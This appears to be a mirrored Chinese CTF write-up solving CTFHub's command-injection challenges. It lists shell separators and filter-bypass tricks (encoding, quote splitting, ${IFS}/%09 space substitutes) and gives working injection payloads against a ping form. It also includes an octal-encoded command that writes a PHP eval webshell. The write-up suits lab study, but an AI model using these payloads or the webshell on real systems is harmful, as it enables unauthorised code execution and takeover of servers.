zoukankan      html  css  js  c++  java
  • CTFHub_技能树_远程代码执行

    RCE远程代码执行

    命令分割符:

    linux:

    %0a 、%0d 、; 、& 、| 、&&、||

    分隔符 描述
    ; 如果每个命令都被一个分号(;)所分隔,那么命令会连续地执行下去
    && 前面执行成功后面才会执行
    & 不执行错误检查和运行所有命令
    || 前面执行失败才会执行后面
    | 符号 左边输出 作为右边输入。会显示最后一个命令的执行结果

    windows:

    %0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

    敏感字符过滤绕过:

    关于命令执行以及常见的一些绕过过滤的方法

    1. 使用拼接绕过

      a=fl;b=ag;cat $a$b
      
    2. 使用编码绕过

      • base

        echo MTIzCg==|base64 -d		#123
        
      • hex

        echo "313233"|xxd -r -p		#123
        
      • oct

        $(printf "154163")		#ls
        #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
        ${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php
        
    3. 反斜杠

      ca flag

    4. 单引号和双引号绕过

      ca''t flagca""t flag

    5. ${}执行代码

      ${phpinfo()};

    过滤空格:

    空格可以用以下字符串代替:

    < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
    

    $IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

    命令注入

    题目信息:

    RCE_command_1

    尝试命令注入:

    RCE_command_2

    看到有一个php文件,8061098418328.php,直接用cat,但是没有显示。

    RCE_command_3

    解法一:

    考虑到可能有无法显示的特殊字符,使用base64输出

    RCE_command_4

    <?php // ctfhub{695122f1d00f32ff2578f119f563cdc507df7b8c}
    

    解法二:

    尝试写入一句话后门:

    RCE_command_5

    后门写入成功

    RCE_command_6

    获得flag

    RCE_command_7

    过滤cat

    本题过滤了cat

    使用ca 绕过

    没有回显,尝试通过查看网页源代码,或者base64输出解码得到flag

    过滤空格

    RCE_space_1

    使用<代替空格:

    解法一:

    base64

    RCE_space_2

    解法二:

    127.0.0.1&cat<flag_21154267199923.php

    查看源代码:

    RCE_space_3

    过滤分割符

    查看目录下的文件:

    过滤分割符1

    由于过滤了,考虑先切换到相应目录,在进行查看:

    127.0.0.1&cd flag_is_here;ls

    过滤分割符2

    可以选择base64或查看网页源代码

    这里我选择直接查看源代码

    127.0.0.1&cd flag_is_here;cat flag_3975901425465.php

    过滤分割符3

    过滤运算符

    <?php
    
    $res = FALSE;
    
    if (isset($_GET['ip']) && $_GET['ip']) {
        $ip = $_GET['ip'];
        $m = [];
        if (!preg_match_all("/(||&)/", $ip, $m)) {
            $cmd = "ping -c 4 {$ip}";
            exec($cmd, $res);
        } else {
            $res = $m;
        }
    }
    ?>
    

    过滤了|&,使用;分隔命令:

    过滤运算符1

    直接给出payload:

    127.0.0.1;cat flag_35923221712564.php

    127.0.0.1;base64 flag_35923221712564.php = 127.0.0.1;cat flag_35923221712564.php|base64

    过滤运算符2

    综合练习

    先看源代码:

    <?php
    
    $res = FALSE;
    
    if (isset($_GET['ip']) && $_GET['ip']) {
        $ip = $_GET['ip'];
        $m = [];
        if (!preg_match_all("/(||&|;| |/|cat|flag|ctfhub)/", $ip, $m)) {
            $cmd = "ping -c 4 {$ip}";
            exec($cmd, $res);
        } else {
            $res = $m;
        }
    }
    ?>
    

    过滤清单还是比较豪华的。

    尝试绕过:

    使用%0a分隔命令,使用%09代替空格

    查看当前目录下的文件:

    综合练习1

    查看flag_is_here文件夹下的文件:127.0.0.1%0als%09*is_here

    综合练习2

    查看flag:

    构造payload127.0.0.1%0acd%09*is_here%0atac%09*_32560754932548.php

    综合练习3

  • 相关阅读:
    C++学习(一)之Visual Studio安装以及首次使用
    基于BP的B/S架构破解
    铁三测试题——权限、你是管理员吗?——WP
    实验吧—安全杂项——WP之 flag.xls
    实验吧—安全杂项——WP之 女神
    wireshark显示过滤器的几种用法(转自他人博客)
    实验吧—安全杂项——WP之 你知道他是谁吗?
    实验吧—Web——WP之 FALSE
    实验吧—Web——WP之 Guess Next Session
    实验吧—Web——WP之 简单的sql注入之2
  • 原文地址:https://www.cnblogs.com/chalan630/p/12542239.html
Copyright © 2011-2022 走看看